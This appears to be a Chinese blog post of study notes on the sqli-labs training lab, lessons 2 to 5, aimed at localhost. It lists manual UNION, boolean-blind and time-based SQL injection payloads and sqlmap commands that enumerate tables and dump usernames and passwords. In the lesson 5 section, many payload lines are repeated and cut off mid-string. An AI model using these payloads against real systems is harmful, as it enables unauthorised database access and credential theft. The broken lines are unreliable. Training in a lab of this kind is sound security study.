sqli-labs学习笔记 DAY2
DAY2
sqli-labs lesson 2
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-2/
- Parameter:id
- 注入点检测:id=2;–+
- 回显点检测:id=2+UNION+SELECT+1,2,3;–+
- 字段数猜解:id=2+ORDER+BY+3;–+
- 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
- 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
- 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
- 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
- sqlmap
- 命令:python sqlmap.py
- 注入点检测:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
- 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
- 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
- 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
- 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump
sqli-labs lesson 3
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-3/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 与上一题完全相同
sqli-labs lesson 4
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-4/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 同lesson 2
sqli-labs lesson 5
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-5/
- Parameter:id
- 布尔型注入
- 检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+0;--+
- 说明:如果存在注入点,网页返回与id=1的结果不同,如果把0改成1,则相同
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,1,0);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,1,0);–+
- left()函数:left(STRING, LENGTH)返回字符串左边LENGTH个字符
- substring(string, pos, length)返回字符串string从pos开始的length长度的子字符串
- 也可以使用ascii()函数把字符转成ascii来二分法猜解
- 可以借助Burpsuit实现半自动化简化过程,通过返回网页的长度来判断返回值

http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a利用延迟来注入
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+SLEEP(5);--+
- 说明:如果存在注入点,网页的返回会延迟5S,可以通过开发者工具观察返回时间的变化
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,SLEEP(5),1);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,SLEEP(5),1);–+
- 字段数、表名等语法类似
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- sqlmap
- 同lesson 2
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
sqli-labs学习笔记 DAY2的更多相关文章
- 《从零开始学Swift》学习笔记(Day2)——使用Web网站编写Swift代码
Swift 2.0学习笔记——使用Web网站编写Swift代码 原创文章,欢迎转载.转载请注明:关东升的博客 Swift程序不能在Windows其他平台编译和运行,有人提供了一个网站swiftstub ...
- Python学习笔记 - day2 - PyCharm的基本使用
什么是IDE 开始学习的小白同学,一看到这三个字母应该是懵逼的,那么我们一点一点来说. 既然学习Python语言我们就需要写代码,那么代码写在哪里呢? 在记事本里写 在word文档里写 在sublim ...
- python网络爬虫与信息提取 学习笔记day2
Day2: 查看robots协议: 查看京东的robots协议 查看百度的robots协议,可以看到百度拒绝了搜狗的爬虫233 爬取京东商品页面相关信息: import requests url = ...
- oracle学习笔记day2
第三章:单值函数 函数分为: 1.单值函数 1.字符函数 2.日期函数 3.转换函数 4.数字函数 2.分组函数(后面的章节再做学习) 哑表dual dual是一个虚拟表,用来构成select的语法规 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day2
一.集成开发环境 集成开发环境(IDE,Integrated development Enviroment)是用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面等工具.集 ...
- [python学习笔记]Day2
摘要: 对象 对于python来说,一切事物都是对象,对象基于类创建: 注:查看对象相关成员 var,type,dir 基本数据类型和序列 int内部功能 class int(object): def ...
- 学习笔记DAY2
Pycharm使用 1.添加模板 file => settings =>Editor=>file and code template => python script => ...
- python学习笔记-Day2 Numpy数组
1. 实现两个数组相加,在数据量特别大的时候 产生数组: (1) 从列表产生数组:a=[0,1,2,3] a=np.array(1) a (2) 从列表传入 a=np.array([1,2,3,4 ...
随机推荐
- IQueryable和IEnumerable
使用EF你必须知道这两个的区别,可以帮助我们的提升性能. 表达树:Linq 表达 ①IQueryable和IEnumerable IQueryable 延时执行:扩展方法接受的是Expression( ...
- 【腾讯敏捷转型No.2】帅哥,来多少敏捷?
上回腾讯敏捷转型系列第一篇文章<敏捷到底是什么鬼?>讲到公司铁了心要推进敏捷,这是战略层面的决定,为什么呢? 当时的我们并不知道公司为什么一定要推行敏捷的新概念,但是后来公司的变化帮助我们 ...
- node引入bootstrap npm报错
今天node引入bootstrap npm报错 但是页面正常显示 最后发现bootstrap.min.js.map没有放在文件里 虽然不用页面中引入 另外也发现了怎么看这种错误了
- python使用tablib库生成xls表格
参考文档:http://python-tablib.org Tablib是一个MIT许可的格式不可知的表格数据集库.它允许您导入,导出和操作表格数据集.高级功能包括隔离,动态列,标签和过滤,以及无缝格 ...
- java业务逻辑,利用hibernate获取所连接的数据库信息
1.本人程序架构是springMVC+hibernate,这次的需求是要针对不同的数据库,做不同的处理. 2.获取所连接的数据库是什么,oracle? mysql? sql server? 基础 ...
- Python学习:15.Python面向对象(二、继承的各种情况)
一.什么是继承 继承是一种创建类的方法,在python中,一个类可以继承来自一个或多个父.原始类称为基类或超类. #创建父类 class Parent1: pass class Parent2: pa ...
- 20155307 《Java程序设计》课堂实践项目数据库
老师我上课没有在规定时间内完成,这是我补交的截图
- 20155316 2016-2017-2 《Java程序设计》第3周学习总结
教材学习内容总结 类:创建类.使用类 基本类类型与类类型 数组 封装的概念 重载 类语法 static成员 教材学习中的问题和解决过程 1.既然数组在JAVA中就是对象,那么int[] 是否是一个类呢 ...
- odoo学习之:在tree view中显示部分数据domain的使用
只要在window.action中他添加相应东domain即可,如: <!-- 树型列表 --> <record model="ir.actions.act_window& ...
- 【LG3233】[HNOI2014]世界树
题面 洛谷 题解 代码 #include <iostream> #include <cstdio> #include <cstdlib> #include < ...